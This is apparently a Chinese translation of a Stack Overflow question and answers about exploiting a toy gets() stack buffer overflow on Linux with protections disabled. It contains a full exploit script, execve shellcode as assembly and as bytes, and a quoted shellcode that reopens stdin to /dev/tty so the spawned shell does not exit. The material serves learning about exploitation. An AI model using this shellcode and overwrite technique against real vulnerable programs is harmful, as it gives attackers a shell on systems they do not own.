一个简单的栈溢出的Shellcode:在执行execve("/bin/sh")后,利用的程序直接终止。

19

我在Linux (amd64)上玩弄了缓冲区溢出,并尝试利用一个简单的程序,但失败了。我禁用了安全功能(用sysctl -w kernel.randomize_va_space=0来禁用地址空间布局随机化和bios中的nx位)。它跳转到栈并执行shellcode,但没有启动shell。execve系统调用成功了,但之后它马上终止了。有什么想法是错的吗?将shellcode独立运行可以正常工作。

奖励问题:为什么在调用printf之前需要将rax设置为零?(参见代码中的注释)

易受攻击文件 buffer.s

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

编译版本:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

开始于:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

使用 gdb 进行调试:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

我猜 %rsi% 是 argv。它可以为 NULL 吗? - Aryabhatta
直接执行shellcode(“$ ./shellcode”)可以工作,因此我认为应该没有问题。 C语言等效代码 #include <stdlib.h> void main() { execve("/bin/sh", NULL, NULL); } 也会启动一个shell。 - henning
你得到了什么错误?你能找出来吗(我猜是%rax%)? - Aryabhatta
我的第一个猜测(syscall 失败)是错误的。根据 gdb 的显示,它启动了 /bin/dash 但直接终止了。请参见编辑后的问题。感谢您迄今为止的帮助。 - henning
2个回答

14

我现在在虚拟机中使用Ubuntu 9.10,遇到了几乎相同的问题。 已禁用操作系统的所有安全措施,简单的漏洞利用,如“退出程序并将退出代码设置为42”确实有效,但尝试打开shell时,程序会立即终止。 gdb的输出相同:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8
Enter password: Sorry. Wrong password. Executing new program: /bin/bash
Program exited normally. (gdb)

问题是,我需要在大约16小时内进行演示,希望它能正常工作 :-D


更新: 我发现了这个很棒的研究:www.shell-storm.org/papers/files/539.pdf

第16页上说: “如果我们尝试执行一个shell,在这种配置下它会立即终止”

在其他不使用gets()的示例中,它们确实可以成功生成shell。不幸的是,它们没有提供为什么不起作用的提示。 :(


下一次更新: 看起来与标准输入有关。Shell 无法正确使用来自原始进程的标准输入。我尝试使用我找到源代码的极简 Shell (evilsh)。它在尝试读取输入时崩溃了。我猜测,bash/dash 检查这个问题,并在标准输入出现问题时悄悄退出。


好的,请不要因为我在这里和自己交谈而杀了我,但是...

我找到了一个解决方案!

出于某种原因,重新打开输入框是必要的。我在这里找到了一个可行的 shellcode:

http://www.milw0rm.com/shellcode/2040

虽然我看不到提示符,但我可以使用打开的shell来运行程序等。


3
我认为在shellcode中必须重新打开stdin,因为shell从共享的stdin中读取exploit.txt文件的"end-of-file"。换句话说,当shell开始时,stdin的缓冲区包含"end-of-file",因为stdin在shell和原始程序之间是共享的。 - feirainy
2
milw0rm的链接已经失效,但exploitdb有类似的漏洞利用程序,您可以在这里找到:https://www.exploit-db.com/exploits/13357/ 感谢这篇文章的发现者 https://www.mattandreko.com/2011/12/17/exploit-exercises-protostar-stack-5/ - Derwent

5
Zenoc提供的链接已经失效,但是在Wayback机器中仍然可以找到。为了方便起见,我已经将其复制如下。我不得不在顶部包含add $0x10,%esp来给我更多的堆栈空间,因为代码中所有的push都吃掉了我的shellcode存储区域。如果您也想将其包含在shellcode中,只需在开头添加"\x83\xc4\x10"即可。没有我的添加,shellcode长度为55字节,有58字节。
/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

注意:由于编辑队列已满,我无法将此内容添加为对Zenoc答案的编辑。
如果由于终端和gdb中的不同堆栈而难以确定shellcode地址,请查看我的答案here

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接